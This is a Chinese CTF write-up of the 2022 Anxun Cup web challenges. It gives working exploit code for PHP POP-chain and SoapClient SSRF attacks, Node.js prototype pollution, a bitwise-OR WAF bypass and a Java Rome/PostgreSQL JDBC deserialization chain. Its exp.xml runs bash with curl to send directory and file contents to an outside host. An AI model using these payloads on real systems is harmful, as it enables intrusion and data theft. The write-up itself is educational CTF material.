2022 安洵杯 Web Writeup

admin 2023年12月15日21:31:36评论9 views字数 9357阅读31分11秒阅读模式

被学长们带飞了

index.php

<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf

ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

pop 链 payload

<?php

class A
{
    public $a;
    public $b;
}

class B
{

}

class C
{
    public $a;
    public $c;
}


$cc = new C();
$cc->a = 'xxxx';

$a = new A();
$a->a = '0e215962017';
$a->b = $cc;

$c = new C();
$c->c = $a;

$b = new B();
$b->a = $c;

echo serialize($b);

ssrf payload

<?php
    
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));

$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);

先利用 GlobIterator

http://cn-sec.com/wp-content/uploads/2023/12/20231215114352-69.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114352-46.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114353-3.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114353-73.png

再利用 SplFileObject

http://cn-sec.com/wp-content/uploads/2023/12/20231215114353-38.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114354-71.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114354-7.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114355-97.png

登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

主页右键注释如下

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

一眼哈希长度扩展攻击

http://cn-sec.com/wp-content/uploads/2023/12/20231215114355-13.png

直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

http://cn-sec.com/wp-content/uploads/2023/12/20231215114355-18.png

结合之前的提示, 利用 js 的大小写特性

'ı'.toUpperCase() == 'I' // true

http://cn-sec.com/wp-content/uploads/2023/12/20231215114356-72.png

之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

http://cn-sec.com/wp-content/uploads/2023/12/20231215114356-5.png

var express = require('express');
var router = express.Router();


const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}




router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

很明显要通过原型链来污染 req 的 flag 属性, payload 如下

id={"__proto__":+{"flag":+"flag"}}

http://cn-sec.com/wp-content/uploads/2023/12/20231215114356-63.png

之后转 get 访问得到 flag

http://cn-sec.com/wp-content/uploads/2023/12/20231215114357-7.png

静态靶机的截图

http://cn-sec.com/wp-content/uploads/2023/12/20231215114357-4.png

先上传 phpinfo

http://cn-sec.com/wp-content/uploads/2023/12/20231215114357-54.png

php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码


<html>
<body>
<form method="POST" enctype="multipart/form-data">
这前端不美si你!!!
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<?php
function waf($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(stristr($var, $blackword)) return True;
    }

    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("俺不要图片,熊大");
}

$content = file_get_contents($temp_file);
if(waf($content)){
    die("哎呦你干嘛,小黑子...");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo $msg."  ".$img_path;
}

位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

import re

preg = '\*'

def convertToURL(s):
    if s < 16:
        return '%0' + str(hex(s).replace('0x', ''))
    else:
        return '%' + str(hex(s).replace('0x', ''))

def generateDicts():
    dicts = {}
    for i in range(256):
        for j in range(256):
            if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                k = i | j
                if k in range(32, 127):
                    if not k in dicts.keys():
                        dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    return dicts

def generatePayload(dicts, payload):
    s1 = ''
    s2 = ''
    for s in payload:
        s1 += dicts[s][0]
        s2 += dicts[s][1]
    return f'("{s1}"|"{s2}")'

dicts = generateDicts()
a = generatePayload(dicts, '/f*')
print(a)

payload

<?php echo new GlobIterator('/f('|'/f"');

http://cn-sec.com/wp-content/uploads/2023/12/20231215114357-71.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114358-23.png

然后用 file_get_contents() 读取 flag

<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');

http://cn-sec.com/wp-content/uploads/2023/12/20231215114358-95.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114358-74.png

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>ezjaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjaba</name>
    <description>ezjaba</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.12</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

IndexController

blis2kbbpbs.png

Database

oqdduti3rwl.png

JdbcUtils

jclu30mmnbv.png

SecurityObjectInpitStream

cp4nv2egz3s.png

过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

https://xz.aliyun.com/t/11812

https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce

结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

cxcc4yr4je3.png

payload

package com.example.ezjaba;

import com.example.Reflection;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.*;

public class RomeDemo {

    public static void main(String[] args) throws Exception{
        Database database = new Database();
        database.setDatabase("postgresql");
        database.setHots("127.0.0.1");
        database.setUsername("test");
        
        database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
        ToStringBean toStringBean = new ToStringBean(String.class, "123");
        XString xString = new XString("456");

        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",toStringBean);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",toStringBean);

        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);

        Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
        Reflection.setFieldValue(toStringBean, "obj", database);

        ByteArrayOutputStream arr = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(arr)){
            output.writeUTF("axb");
            output.writeInt(2022);
            output.writeObject(map);
        }

        System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));

    }
}

exp.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

vps 上挂着 exp.xml, 然后用 base64 payload 打一下

5km4votjzow.png

23jceszegsv.png

m1e00h3144i.png

- By:X1r0z[exp10it.cn]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日21:31:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022 安洵杯 Web Writeuphttps://cn-sec.com/archives/2305455.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息